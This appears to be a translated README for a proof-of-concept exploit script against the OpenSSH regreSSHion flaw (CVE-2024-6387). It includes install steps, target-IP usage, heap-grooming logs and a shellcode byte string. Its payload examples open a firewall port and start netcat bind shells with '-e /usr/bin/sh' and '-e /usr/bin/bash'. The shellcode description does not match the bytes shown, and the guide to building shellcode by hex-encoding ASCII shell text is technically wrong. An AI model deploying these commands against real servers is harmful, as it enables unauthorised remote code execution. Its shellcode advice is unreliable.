CVE-2024-6387 regreSSHion

Скрипт Python, демонстрирующий концепцию эксплуатации уязвимости regreSSHion. Версия 0.2.1, сборка POC regreSSHion-green-banner

Установка

git clone https://github.com/l-urk/CVE-2024-6387.git

cd CVE-2024-6387

pip3 install -r requirements.txt

python3 regreSSHion.py -h

Использование

🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit script

usage: regreSSHion.py [-h] -i IP -p PORT [-t] [-c] [-d] [-r] [-x] [-y] [-z]

🔒 CVE-2024-6387 regreSSHion remote code execution vulnerability exploit script

options:
  -h, --help            показать это справочное сообщение и выйти
  -i IP, --ip IP        целевой IPv4 SSH-сервера (формат: -i 0.0.0.0)
  -p PORT, --port PORT  номер порта целевого SSH-сервера (формат: -p 22)
  -t, --time            ВКЛЮЧИТЬ отображение времени во всех выводах логов (формат: -t)
  -c, --clear           ОЧИСТИТЬ экран перед запуском эксплойта (формат: -c)
  -d, --debug           включить просмотр ОТЛАДОЧНЫХ ЛОГОВ при выполнении (формат: -d)
  -r, --repeat          включить ПОВТОР ЭКСПЛОЙТА до получения RCE (формат: -r)
  -x, --skipssh         включить ПРОПУСК SSH-рукопожатий (формат: -x)
  -y, --skipheap        включить ПРОПУСК КУЧИ и анализа (формат: -y)
  -z, --skipfinal       включить ПРОПУСК ФИНАЛЬНОЙ ПРОВЕРКИ ID (формат: -z)

🔒 Затронутые версии OpenSSH: 1.2.2p1 ~ 4.4 и 8.5p1 ~ 9.8

🔒 контакты: github.com/l-urk - x.com/l_urkk

Чтобы использовать скрипт, запустите python3 с regreSSHion.py

Установите IP-адрес уязвимого SSH-сервера IPv4
Установите номер порта уязвимого SSH-сервера

python3 regreSSHion.py --ip 127.0.0.1 --port 22

2024-08-03 22:42:55,944 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:42:55,945 - INFOS - Connection established
2024-08-03 22:42:55,945 - INFOS - Performing SSH handshake...
2024-08-03 22:43:05,014 - INFOS - Received KEX_INIT (5 bytes)
2024-08-03 22:43:05,015 - INFOS - SSH handshake successful.
2024-08-03 22:43:05,015 - INFOS - Preparing heap...
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 1
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 2
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 3
2024-08-03 22:43:05,015 - INFOS - Sent tcache chunk 4

Предположим, вы дошли до этого момента в скрипте...

2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 3
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 4
2024-08-03 22:46:45,858 - INFOS - Sent fake file structure 5
2024-08-03 22:46:45,858 - INFOS - Sent large string
2024-08-03 22:46:45,858 - INFOS - Heap preparation complete.
2024-08-03 22:47:05,879 - INFOS - Estimated parsing time: 0.000056 seconds
2024-08-03 22:47:05,880 - INFOS - Final packet sent successfully.
2024-08-03 22:47:05,880 - INFOS - Verifying exploit success.
2024-08-03 22:47:15,890 - WARN! - No response received for verification.

Если вы видите сообщение об успешной верификации эксплойта, значит вы успешно доставили и выполнили полезную нагрузку. Скрипт попытается несколько раз, чтобы добиться успеха. Я бы рекомендовал попробовать это на вашем собственном уязвимом SSH-сервере, пока вы не почувствуете, как получить сообщение об успехе.

2024-08-03 22:47:15,891 - ERROR - Exploitation failed.

Режим отладки

При включенном режиме отладки вы получите более подробный вывод, который покажет полученную строку версии SSH, информацию о длине пакетов и кое-что еще, практически всё, что происходит и может быть залогировано.

python3 regreSSHion.py --ip 127.0.0.1 --port 22 --debug

Пример вывода:

2024-08-03 22:44:53,962 - DEBUG - Logging is set to DEBUG level
2024-08-03 22:44:53,962 - INFOS - Attempting to connect to 127.0.0.1:22 (attempt 1)
2024-08-03 22:44:53,963 - INFOS - Connection established
2024-08-03 22:44:53,963 - INFOS - Performing SSH handshake...
2024-08-03 22:44:53,963 - DEBUG - Sent SSH version string.
2024-08-03 22:44:53,963 - DEBUG - Waiting to receive SSH version string
2024-08-03 22:45:03,256 - DEBUG - Received SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
2024-08-03 22:45:04,373 - INFOS - Received KEX_INIT (4 bytes)
2024-08-03 22:45:04,373 - INFOS - SSH handshake successful.
2024-08-03 22:45:04,373 - INFOS - Preparing heap...

полезная нагрузка (shellcode)

Стандартный шеллкод использует ufw для открытия входящего порта 9999 и запускает прослушивающую оболочку nc на порту 9999

    shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x00\x00\x01\x66\x68\x27\x0f\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x56\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

создание полезной нагрузки (shellcode)

Вы можете создать свою собственную полезную нагрузку, используя редактор ASCII в шестнадцатеричный код и вручную преобразовав его в шеллкод. Я использую этот сайт для преобразования ASCII в hex: https://www.rapidtables.com/convert/number/ascii-to-hex.html

Введите желаемый текст для шеллкода.
Используйте настройки "User defined" и "\x" в поле ввода.
Замените все заглавные X на строчные x
Используйте Блокнот или другую программу, способную заменять символы.
Переместите последний \x из конца в начало hex-строки.
Добавьте кавычки с обеих сторон для интерпретации оболочкой.

примеры полезной нагрузки (shellcode)

hello world

hello world

"\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

printf hello world

printf hello world

"\x70\x72\x69\x6E\x74\x66\x20\x68\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64"

make test file

test > test

"\x74\x65\x73\x74\x20\x3E\x20\x74\x65\x73\x74"

Allow incoming connections on port 9999 & open a nc shell on port 9999

ufw allow 9999 && /usr/bin/nc -lvp 9999 -e /usr/bin/sh

"\x75\x66\x77\x20\x61\x6C\x6C\x6F\x77\x20\x39\x39\x39\x39\x20\x26\x26\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x6E\x63\x20\x2D\x6C\x76\x70\x20\x39\x39\x39\x39\x20\x2D\x65\x20\x2F\x75\x73\x72\x2F\x62\x69\x6E\x2F\x73\x68"

send_socket.py

Если вы хотите протестировать выполнение полезной нагрузки, вы можете использовать скрипт send_socket.py. Использование:

usage: send_socket.py [-h] [-i IP] [-p PORT] [-s SHELLCODE]

send shellcode to a target socket (ip and port)

options:
  -h, --help            show this help message and exit
  -i IP, --ip IP        target ip address (default: 127.0.0.1)
  -p PORT, --port PORT  target tcp socket port (default: 1111)
  -s SHELLCODE, --shellcode SHELLCODE
                        shellcode hex to send in format: \x00\x00\x00\...etc (default: F13)

Отправитель:

python3 send_socket.py -i 127.0.0.1 -p 1111

Слушатель:

интерпретация необработанного текста

nc -lvp 1111

выполнение оболочки

nc -lvp 1111 -e /usr/bin/bash

CVE-2024-6387

Популярное